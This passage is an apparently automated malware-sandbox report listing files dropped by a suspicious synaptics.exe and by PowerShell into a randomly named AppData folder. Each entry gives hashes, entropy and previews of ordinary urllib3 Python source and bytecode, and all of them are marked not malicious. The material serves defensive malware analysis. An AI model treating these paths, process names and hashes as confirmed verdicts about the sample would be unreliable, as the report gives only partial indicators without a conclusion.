              Preview:o........g.f.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.S.)......)...annotations.....)...is_connection_dropped)...SKIP_HEADER..SKIPPABLE_HEADERS..make_headers)...is_fp_closed)...Retry)...ALPN_PROTOCOLS..IS_PYOPENSSL..SSLContext..assert_fingerprint..create_urllib3_context..resolve_cert_reqs..resolve_ssl_version..ssl_wrap_socket)...Timeout)...Url..parse_url)...wait_for_read..wait_for_write).r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....N)...__future__r......connectionr......requestr....r....r......responser......retryr....Z.ssl_r....r....r....r....r....r....r....r......timeoutr......urlr....r......waitr....r......__all__..r ...r ....QC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__init__.py..<module>....s..............(.........

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\connection.cpython-310.pyc.55905368

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):3476
              Entropy (8bit):5.550393315276049
              Encrypted:false
              SSDEEP:
              MD5:98EA98E747B892DBC576A04CBDB07999
              SHA1:D4467A739B5E8247E36004351D64376A415CE3D1
              SHA-256:BA1F9E355DA613A9C53A37C243D5DED347CA9619EC00409012940E78F4F48555
              SHA-512:E0443B06AE519431E95402DE0C3CD89AE6CDEA7EEA769C3D8516182BFD9B6E26A3DB6F07A11FCAA5B3AE859380B8D7D26B9724CF5296F8E3AC8894BEADA9A743
              Malicious:false
              Reputation:unknown
              Preview:o........g.fj........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.j.e.e.e.j.e.e.f...f.....Z.e.j.r5d.d.l.m.Z...d&d.d...Z.e.d.d.f.d'd.d...Z.d(d.d...Z.d)d.d ..Z.d*d#d$..Z.e.d%..Z.d.S.)+.....)...annotationsN.....)...LocationParseError.....)..._DEFAULT_TIMEOUT.._TYPE_TIMEOUT)...BaseHTTPConnection..connr......return..boolc....................C...s....|.j...S.).z.. Returns True if the connection is dropped and should be closed.. :param conn: :class:`urllib3.connection.HTTPConnection` object.. )...is_connected).r......r.....SC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\connection.py..is_connection_dropped....s......r......address..tuple[str, int]..timeoutr......source_address..tuple[str, int] | None..socket_options.._TYPE_SOCKET_OPTIONS | None..socket.socketc....................C...s$...|.\.}.}.|...d...r.|...d...}.d.}.t...}.z.|...d.....W.n...t.y*......t.d.|...d.....d...w.t...|.|.|.t.j...D.]O}.|.\.}.}.}.}.}.d.}.z(t...|.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\request.cpython-310.pyc.55905504

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):6211
              Entropy (8bit):5.645391660112648
              Encrypted:false
              SSDEEP:
              MD5:D545B16E83E4C52633FC093494D77DB2
              SHA1:D18DAADB3CE99EC35FB763BC36C38C5729E49F2B
              SHA-256:B9DF96E349FDA1F303FE4146992257A52A617B5277B01954A3D3F0A018ADFC98
              SHA-512:61A4FB2FC38C87616B1FF99715A9F0C36953DCCC543C8264BF78D453E1F9F3FB9363960673189A7F8AA2E2D8153B79E230A9B68276F7C278F9CE29C1E435465D
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...sd...U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r0d.d.l.m.Z...d.Z.e.g.d.....Z.d.Z.z.z.d.d.l.Z.W.n...e.yN......d.d.l.Z.Y.n.w.W.n...e.yY......Y.n.w.e.d.7.Z.z.d.d.l.Z.W.n...e.ym......Y.n.w.e.d.7.Z.G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.e.f...Z.h.d...Z.............d6d7d.d ..Z d8d%d&..Z!d9d+d,..Z"G.d-d...d.e.j#..Z$d:d4d5..Z%d.S.);.....)...annotationsN)...b64encode)...Enum.....)...UnrewindableBodyError.....)...to_bytes)...Finalz.@@@SKIP_HEADER@@@)...accept-encoding..host..user-agentz.gzip,deflatez.,brz.,zstdc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_FAILEDTELLr....N)...__name__..__module__..__qualname__..token..r....r.....PC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\request.pyr....'...s........r....z.Final[_TYPE_FAILEDTELL].._FAILEDTELL>......GETZ.OPTIONS..HEADZ.CONNECTZ.TRACEZ.DELETE..keep_alive..bool | None..accept_encoding..bool | list[str] | str | None..user_agent..str | No

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\response.cpython-310.pyc.55905776

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):2343
              Entropy (8bit):5.385002905070266
              Encrypted:false
              SSDEEP:
              MD5:F1CCB4C9ED9891CD6EFCFCDE3317FE4A
              SHA1:7AC36D2458811DA276B7B198DBC11FD057E3782D
              SHA-256:37F64C209983A426CF42C72C2149E57E7B09860898E1FB54F5C9A350482B4993
              SHA-512:F6C3230D2712CCC8A26CC05853BED02BC1E84974CE2CE43C1F665E6B004078F3ED4EA81380AD2F70B6A9A420A59D8EE3E6B6356192B349C13BEC89D40D4829C6
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...sV...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)......)...annotationsN)..!MultipartInvariantViolationDefect..StartBoundaryNotFoundDefect.....)...HeaderParsingError..obj..object..return..boolc....................C...s`...z.|.....W.S...t.y.......Y.n.w.z.|.j.W.S...t.y.......Y.n.w.z.|.j.d.u.W.S...t.y/......Y.t.d.....w.).zt. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. Nz)Unable to determine whether fp is closed.)...isclosed..AttributeError..closed..fp..ValueError).r......r.....QC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\response.py..is_fp_closed....s ...................................r......headers..httplib.HTTPMessage..Nonec....................C...sn...t.|.t.j...s.t.d.t.|.....d.......d.}.|.....s#|.....}.t.|.t.t.f...r#|.}.d.d...|.j.D...}.|.s/|.r5t.|.|.d.....d.S.).a>.... Asserts whether all headers have been

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\retry.cpython-310.pyc.59340320

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:DIY-Thermocam raw data (Lepton 2.x), scale 512-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, minimum point enabled, maximum point enabled, userbration: offset 0.000000, slope 128.000000
              Category:dropped
              Size (bytes):15756
              Entropy (8bit):5.36312994983754
              Encrypted:false
              SSDEEP:
              MD5:931056225E9701421FFED369D308148F
              SHA1:59AB38A36DE97F1A579C108C62EF7AC01E4B22A0
              SHA-256:5B420084AB479A81B5870E425CDCFF36CB44A7712FA713DDBA0B3AF2D2B9C26B
              SHA-512:15C585A02C8645D61D82FCEAB72CB2D0DD819FDE5402AB8233FFA1659E7CEA9B9B4236B1467A5F6AEE11D941A4F1C23DB2467DED496F5315D808FCF0C59E79FB
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.H.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.j.rWd.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...e...Z.G.d.d...d.e.j ..Z!G.d.d...d...Z"e"d...e"_#d.S.)......)...annotationsN)...takewhile)...TracebackType.....)...ConnectTimeoutError..InvalidHeader..MaxRetryError..ProtocolError..ProxyError..ReadTimeoutError..ResponseError.....)...reraise)...Self)...ConnectionPool)...BaseHTTPResponsec....................@...s6...e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)...RequestHistory..str | None..method..url..Exception | None..error..int | None..status..redirect_locationN)...__name__..__module__..__qualname__..__annotations__..r....r.....NC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\retry.pyr....!...s................r....c....................@...s"...e.Z.d.Z.U.d.Z.e.g.d.....Z.e.g.d.....Z.e.g.d.....Z.d.Z.d.e.d.<.d.d.d.d.d.d.e.d.d.e.d.d.d.d.e

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\ssl_.cpython-310.pyc.59339936

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):12468
              Entropy (8bit):5.651921783542343
              Encrypted:false
              SSDEEP:
              MD5:89F6CD5BDC306D4648D37AF5F918F04D
              SHA1:556AA4D8BB56A7EFDA3EB4F2E9DA7EC597AFB688
              SHA-256:18EEC061C058577C90AB999060B5C9B94ED036AD69940B6FBFD43093975DEC05
              SHA-512:CD0022B358369A7973B0307FF685DD53127E13ABE39C18755CF3804C800E37EE091CE7636FE5875617D4D81F84069EBA5AA35824D5B38A8FE2F5147E4171CD1B
              Malicious:false
              Reputation:unknown
              Preview:o........g.f&K.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.g.Z.e.j.e.e.e.e.e.f...Z.d.d...d.D...Z.dcd.d...Z.ddd.d...Z.e.j.r~d.d.l.m.Z...d.d.l.m Z ..d.d.l!m.Z"..G.d.d ..d e d.d!..Z#i.Z$d"e%d#<.z_d.d.l.Z.d.d$l.m&Z&m.Z.m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m.Z.m/Z/..e+Z0e.r.e.e)e*e.j1j2e.j3e.j1j2d%k.r.e.j4n.d...s.d.Z.d&D.].Z5z.e6e/e5..e$e6e.d'e5......<.W.q...e7y.......Y.q.w.d.d.l!m.Z...W.n...e8y.......d(Z'd)Z(d*Z-d+Z.d...Z0Z+d,Z,Y.n.w.e.j9d e:d.f...Z;ded1d2..Z<dfd6d7..Z=dgd8d9..Z>............dhdidCdD..Z?e.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdkdUdV....ZAe.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdldXdV....ZA........................dmdldYdV..ZAdnd\d]..ZBdod_d`..ZC..dpdqdadb..ZDd.S.)r.....)...annotationsN)...unhexlify.....)...ProxySchemeUnsupported..SSLError.....)..._BRACELESS_IPV6_ADDRZ_RE.._IPV4_REFz.http/1.1c....................C...s....i.|.].\.}.}.|.t.t.|.d.....q.S...N)...getattr..hashlib)....0..le

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\ssltransport.cpython-310.pyc.59707696

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):9428
              Entropy (8bit):5.267938894585762
              Encrypted:false
              SSDEEP:
              MD5:EE2CF1B6D2D191EA38614C7FDA28EC22
              SHA1:21D6B01F036B97A27B9FF769E6704A542A0DF4A0
              SHA-256:8CAB5BE5A60A580915532B9F66FC16752574463ADBE05BB6E381A4C7F96D0C72
              SHA-512:C2ABA12141ACB5BFBC89FC3FABD91F289637AA6889C950695AE23BAD2E24E955F3B4E2D4A59B37261713F7CF7FE95DF393BFAD4448C2CDDEBBA12CABCE4F65BB
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.".......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.j.r-d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.e.f...Z.e...d...Z.d.Z.G.d.d...d...Z.d.S.)......)...annotationsN.....)...ProxySchemeUnsupported)...Self.....)..._TYPE_PEER_CERT_RET.._TYPE_PEER_CERT_RET_DICT.._ReturnValuei.@..c....................@...s....e.Z.d.Z.d.Z.e.dsd.d.....Z.....dtdud.d...Z.dvd.d...Z.dwd.d...Z.dxd.d...Z.dydzd!d"..Z.d{d|d&d'..Z....#d}d~d,d-..Z.d.d.d0d1..Z.d.d.d2d3..Z...d.d.d.d.d4..d.d<d=..Z.d.d>d?..Z.d.d@dA..Z.e.j..Bd.d.dFdG....Z.e.j.d.dJdG....Z.d.d.dMdG..Z.d.dNdO..Z.d.dQdR..Z.d.dSdT..Z.d.dVdW..Z.d.dXdY..Z.d.d\d]..Z.d.d^d_..Z.d.d`da..Z.d.d.dcdd..Z.e.j.d.dgdh....Z.e.j.d.dkdh....Z.e.j.d.dndh....Z.....d.d.drdh..Z.d.S.)...SSLTransportaL.... The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. i

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\timeout.cpython-310.pyc.55904960

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):9608
              Entropy (8bit):5.134635157156365
              Encrypted:false
              SSDEEP:
              MD5:D159B190DEB503FBC11C3A33BC684AB5
              SHA1:580633126C5423AD2732C580E35873F4C0746606
              SHA-256:C0870736F066B12C1C844E5318CFE14A0B78C499039ADF187797A95AE966C398
              SHA-512:A9EDEAF630A6199284340CD97478640FF1B10B56B6556492C16F694CCE5E3F47AF06A1B288C078BC1277A01D58199469F9ABA75B7EF52A5A9E5EE30D2A83FC6F
              Malicious:false
              Reputation:unknown
              Preview:o........g.fj(.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r*d.d.l.m.Z...G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.j.e.e.f.....Z.G.d.d...d...Z.d.S.)......)...annotationsN)...Enum)...getdefaulttimeout.....)...TimeoutStateError)...Finalc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_DEFAULT.....N)...__name__..__module__..__qualname__..token..r....r.....PC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\timeout.pyr........s........r....z.Final[_TYPE_DEFAULT].._DEFAULT_TIMEOUTc....................@...s....e.Z.d.Z.U.d.Z.e.Z.d.e.d.<.d.e.e.f.d$d.d...Z.d%d.d...Z.e.Z.e.d&d.d.....Z.e.d'd.d.....Z.e.d(d.d.....Z.d)d.d...Z.d*d.d...Z.d*d.d...Z.e.d+d d!....Z.e.d,d"d#....Z.d.S.)-..Timeouta....Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. import urllib3.. timeout = urllib3.util.Timeout(connect=2.0, read=7.0).. http = urllib3.PoolManager(timeout=

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\url.cpython-310.pyc.59340704

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):11246
              Entropy (8bit):5.784363727079753
              Encrypted:false
              SSDEEP:
              MD5:F88253F5CBEE9DA897DD3DFD3BC58D16
              SHA1:4450862B7308FAB828FFF95A68ED89AC56F04587
              SHA-256:B690D9222197B67252F7114AFFB24C3981465F433C3DBC1CBF57A294699712AB
              SHA-512:97B701F2526BBC3E1690AF35ED913EE4EC55C814A899E8E951424070979F7D992585C6E8E443375C1E8B217A63E017EEA8E3EB1DED77F6BFCE4C02489C8ED8F6
              Malicious:false
              Reputation:unknown
              Preview:o........g.fm;.......................@...s~...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.e...d...Z.e...d...Z.e...d.e.j.e.j.B...Z.d.Z.d.Z.d.j.e.e.d...Z.e.e.d...Z.g.d...Z.d.Z.d.d...d.d...e.D.......d...Z.d.e...d...Z.d.e...d...e...d...Z.d.Z.e...d...Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e.d.d.......d.....Z.e...d e...d!....Z d"e.e.e.f...Z!e...e!e.j.e.j.B...Z"e#d#..Z$e#d$..Z%e$e%B.d%h.B.Z&e&d&d'h.B.Z'e'd(h.B...Z(Z)G.d)d*..d*e..*d*d+e.j+e,..f.d,e.j+e,..f.d-e.j+e,..f.d.e.j+e-..f.d/e.j+e,..f.d0e.j+e,..f.d1e.j+e,..f.g.....Z.e.j/dMd7d8....Z0e.j/dNd:d8....Z0dOd<d8..Z0dPd=d>..Z1e.j/dQd?d@....Z2e.j/dRdAd@....Z2dSdBd@..Z2dTdEdF..Z3dUdHdI..Z4dVdKdL..Z5d.S.)W.....)...annotationsN.....)...LocationParseError.....)...to_str)...http..httpsNz.%[a-fA-F0-9]{2}z.^(?:[a-zA-Z][a-zA-Z0-9+-]*:|/)zS^(?:([a-zA-Z][a-zA-Z0-9+.-]*):)?(?://([^\\/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?$z.(?:[0-9]{1,3}\.){3}[0-9]{1,3}z.[0-9A-Fa-f]{1,4}z.(?:{hex}:{hex}|{ipv4}))...hexZ.ipv4).r....Z.ls32).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\util.cpython-310.pyc.59340064

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):1217
              Entropy (8bit):5.063485973090454
              Encrypted:false
              SSDEEP:
              MD5:DA7F1205AF872CB7C620D7764147CB91
              SHA1:09516CCCED000E06B64693B1F8EB611CFB655E9B
              SHA-256:C2D9C644481C27F45B69480EA028CE957A2917E57CECD3609149F0295B762B85
              SHA-512:400D4834B6F112712741C243F4062FF0CCEE2BA17505CCD1D90101486AC2409AEA23BC9BBC2D5F8EEBD1279FAD115992539D0A757C25073512E0BA153604B222
              Malicious:false
              Reputation:unknown
              Preview:o........g.fz........................@...sN...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.....d.d.d.d...Z...d.d.d.d...Z...d.d.d.d...Z.d.S.)......)...annotationsN)...TracebackType..x..str | bytes..encoding..str | None..errors..return..bytesc....................C....R...t.|.t...r.|.S.t.|.t...s.t.d.t.|...j.........|.s.|.r%|.j.|.p.d.|.p"d.d...S.|.....S...Nz.not expecting type z.utf-8..strict).r....)...isinstancer......str..TypeError..type..__name__..encode..r....r....r......r.....MC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\util.py..to_bytes.......................r....r....c....................C...r....r....).r....r....r....r....r....r......decoder....r....r....r......to_str....r....r......tp..type[BaseException] | None..value..BaseException..tb..TracebackType | None..typing.NoReturnc....................C...s$...z.|.j.|.u.r.|...|.....|...d.}.d.}.w...N)...__traceback__..with_traceback).r....r....r....r....r....r......reraise....s................r%...).NN).r....r....r....r....r..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\wait.cpython-310.pyc.59341088

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):2396
              Entropy (8bit):5.159597963261437
              Encrypted:false
              SSDEEP:
              MD5:D3B8E6D5BFBAA421009247E14B6EF78A
              SHA1:53F9D9FE21BEC5E44C3CB08BFC163BE4D291041B
              SHA-256:7BAC2D4E3AADEC5C0D882FA2612223D28F2DC8F93B8BDFD10DDD511A81D229B3
              SHA-512:198CC16B10AC38422A5150CB0C0A8D3D01271878274268143EE2E3B01B5E67CB2DE0FFD2F21E08BAF030A5AD3446D842163688957BA61885F3524F646ACDFF82
              Malicious:false
              Reputation:unknown
              Preview:o........g.fG........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.g.Z.......d.d.d.d...Z.......d.d.d.d...Z.d.d.d...Z.......d.d.d.d...a.d.d.d.d...Z.d.d.d.d...Z.d.S.)......)...annotationsN)...partial..wait_for_read..wait_for_writeF..sock..socket.socket..read..bool..write..timeout..float | None..returnc....................C...sb...|.s.|.s.t.d.....g.}.g.}.|.r.|...|.....|.r.|...|.....t.t.j.|.|.|...}.|.|...\.}.}.}.t.|.p/|.p/|...S.).N.2must specify at least one of read=True, write=True)...RuntimeError..appendr......selectr....).r....r....r....r....Z.rcheckZ.wcheck..fnZ.rreadyZ.wreadyZ.xready..r.....MC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\wait.py..select_wait_for_socket!...s..........................r....c........................s^...|.s.|.s.t.d.....d.}.|.r.|.t.j.O.}.|.r.|.t.j.O.}.t...........|.|.....d...f.d.d...}.t.|.|.....S.).Nr....r......tr....r......list[tuple[int, int]]c........................s....|.d.u.r.|.d.9.}.....|...S.).Ni....)..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\connection.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):4458
              Entropy (8bit):4.691042019913651
              Encrypted:false
              SSDEEP:
              MD5:EB8C202F6EE2C1F04C1CC1C6B74D3973
              SHA1:24D78D86DC4C3C1F9363EB9AF5725314FC42667A
              SHA-256:D28EFDFB935B45FA410F2A1E8463CB982039E38B024A25EFC74985F71CB7186D
              SHA-512:97E5C41588B0D31AF62772BD1EC883E252537B41AF8C745491E5197F43AA133408477826B58951EA91631B876DBB34A464C281ACA592303920ECA87125B6E383
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import socket.import typing..from ..exceptions import LocationParseError.from .timeout import _DEFAULT_TIMEOUT, _TYPE_TIMEOUT.._TYPE_SOCKET_OPTIONS = typing.List[typing.Tuple[int, int, typing.Union[int, bytes]]]..if typing.TYPE_CHECKING:. from .._base_connection import BaseHTTPConnection...def is_connection_dropped(conn: BaseHTTPConnection) -> bool: # Platform-specific. """. Returns True if the connection is dropped and should be closed.. :param conn: :class:`urllib3.connection.HTTPConnection` object.. """. return not conn.is_connected...# This function is copied from socket.py in the Python 2.7 standard.# library test suite. Added to its signature is only `socket_options`..# One additional modification is that we avoid binding to IPv6 servers.# discovered in DNS if the system doesn't have IPv6 functionality..def create_connection(. address: tuple[str, int],. timeout: _TYPE_TIMEOUT = _DEFAULT_TIMEOUT,. source_address: tupl

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\proxy.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1148
              Entropy (8bit):4.568988072838994
              Encrypted:false
              SSDEEP:
              MD5:9BD4BCA24A0FA10D896D386B7D736697
              SHA1:A10A3A580A9FEF94AF52CF37E00A9913E0F64DA0
              SHA-256:B1E3FCF90E41E9B07474CB703E3F98719650DF4BC7B8BA91BBEB48D096767F3B
              SHA-512:FECEE94612F30C3A5DEA846F6245BD4B5C717F9E65D6450C26DCD22B9DBF2CDD8B00C60FBA5143BC986A5CAEED22A4B64FA6CEDA5369CCF71A72861E9553E7C9
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import typing..from .url import Url..if typing.TYPE_CHECKING:. from ..connection import ProxyConfig...def connection_requires_http_tunnel(. proxy_url: Url | None = None,. proxy_config: ProxyConfig | None = None,. destination_scheme: str | None = None,.) -> bool:. """. Returns True if the connection requires an HTTP CONNECT through the proxy... :param URL proxy_url:. URL of the proxy.. :param ProxyConfig proxy_config:. Proxy configuration from poolmanager.py. :param str destination_scheme:. The scheme of the destination. (i.e https, http, etc). """. # If we're not using a proxy, no way to use a tunnel.. if proxy_url is None:. return False.. # HTTP destinations never require tunneling, we always forward.. if destination_scheme == "http":. return False.. # Support for forwarding with HTTPS proxies and HTTPS destinations.. if (. proxy_url.scheme == "https". a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\request.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8064
              Entropy (8bit):4.745558576767803
              Encrypted:false
              SSDEEP:
              MD5:C77F7D6FA029F06E949D277D7864A17A
              SHA1:0459A2C46601226E176D89691A2EC83CC5D8ECE8
              SHA-256:52B676837CB7B2D1A91FCAE6F92C7CFA896581E8A2288E3DE83657442C316FDA
              SHA-512:13B4DFA3D5DA5932348CE5DF531110C897C568662CA26369ABE9B07C16E58E88FA49C45CD741EE2FD718E41F5A950CEDB9930A50912D58351C225FB2A10B3E35
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import io.import typing.from base64 import b64encode.from enum import Enum..from ..exceptions import UnrewindableBodyError.from .util import to_bytes..if typing.TYPE_CHECKING:. from typing import Final..# Pass as a value within ``headers`` to skip.# emitting some HTTP headers that are added automatically..# The only headers that are supported are ``Accept-Encoding``,.# ``Host``, and ``User-Agent``..SKIP_HEADER = "@@@SKIP_HEADER@@@".SKIPPABLE_HEADERS = frozenset(["accept-encoding", "host", "user-agent"])..ACCEPT_ENCODING = "gzip,deflate".try:. try:. import brotlicffi as _unused_module_brotli # type: ignore[import-not-found] # noqa: F401. except ImportError:. import brotli as _unused_module_brotli # type: ignore[import-not-found] # noqa: F401.except ImportError:. pass.else:. ACCEPT_ENCODING += ",br".try:. import zstandard as _unused_module_zstd # noqa: F401.except ImportError:. pass.else:. ACCEPT_ENCODING += ",z

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\response.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3374
              Entropy (8bit):4.616514316314554
              Encrypted:false
              SSDEEP:
              MD5:B4AB7140164239E3CAA07E0D2672326F
              SHA1:F296CB85D9DF58E5F40F560C9DAE60DB5AF70961
              SHA-256:BD013ADFDBA81218F5BE98C4771BB994D22124249466477BA6A965508D0164E0
              SHA-512:4750FADBD852F723AF3A01006EF1A87B0F4D53264E2077F05DF1D99CBC965D6EBFAC0028BBB18916A4A4931E72DCAAB6A066762055996AD8CBE36EBF0DDA0D08
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import http.client as httplib.from email.errors import MultipartInvariantViolationDefect, StartBoundaryNotFoundDefect..from ..exceptions import HeaderParsingError...def is_fp_closed(obj: object) -> bool:. """. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. """.. try:. # Check `isclosed()` first, in case Python3 doesn't set `closed`.. # GH Issue #928. return obj.isclosed() # type: ignore[no-any-return, attr-defined]. except AttributeError:. pass.. try:. # Check via the official file-like-object way.. return obj.closed # type: ignore[no-any-return, attr-defined]. except AttributeError:. pass.. try:. # Check if the object is a container for another file-like object that. # gets released on exhaustion (e.g. HTTPResponse).. return obj.fp is None # type: ignore[attr-defined]. except AttributeError:

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\retry.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):18459
              Entropy (8bit):4.430321061770966
              Encrypted:false
              SSDEEP:
              MD5:3E8C2638CEB2BCF5173627AE24C6324D
              SHA1:C718DEC62FEDD1780FBDE1B9F6C96B4460A5383F
              SHA-256:6E3FB6614A9B9712E5BFC4C78397F1C30F83339E1709B8E0657210EF55E2A026
              SHA-512:5E394519BC0E03868D2AD098BD70E6F8847D8E7716F9FE1808AC171C550043F8E67EE21A5FF4AFA4F343435F5E5D11C22FCBCE465E2D14A430882870E5394B6E
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import email.import logging.import random.import re.import time.import typing.from itertools import takewhile.from types import TracebackType..from ..exceptions import (. ConnectTimeoutError,. InvalidHeader,. MaxRetryError,. ProtocolError,. ProxyError,. ReadTimeoutError,. ResponseError,.).from .util import reraise..if typing.TYPE_CHECKING:. from typing_extensions import Self.. from ..connectionpool import ConnectionPool. from ..response import BaseHTTPResponse..log = logging.getLogger(__name__)...# Data structure for representing the metadata of requests that result in a retry..class RequestHistory(typing.NamedTuple):. method: str | None. url: str | None. error: Exception | None. status: int | None. redirect_location: str | None...class Retry:. """Retry configuration... Each retry attempt will create a new Retry object with updated values, so. they can be safely reused... Retries can be defined

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\ssl_.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):19238
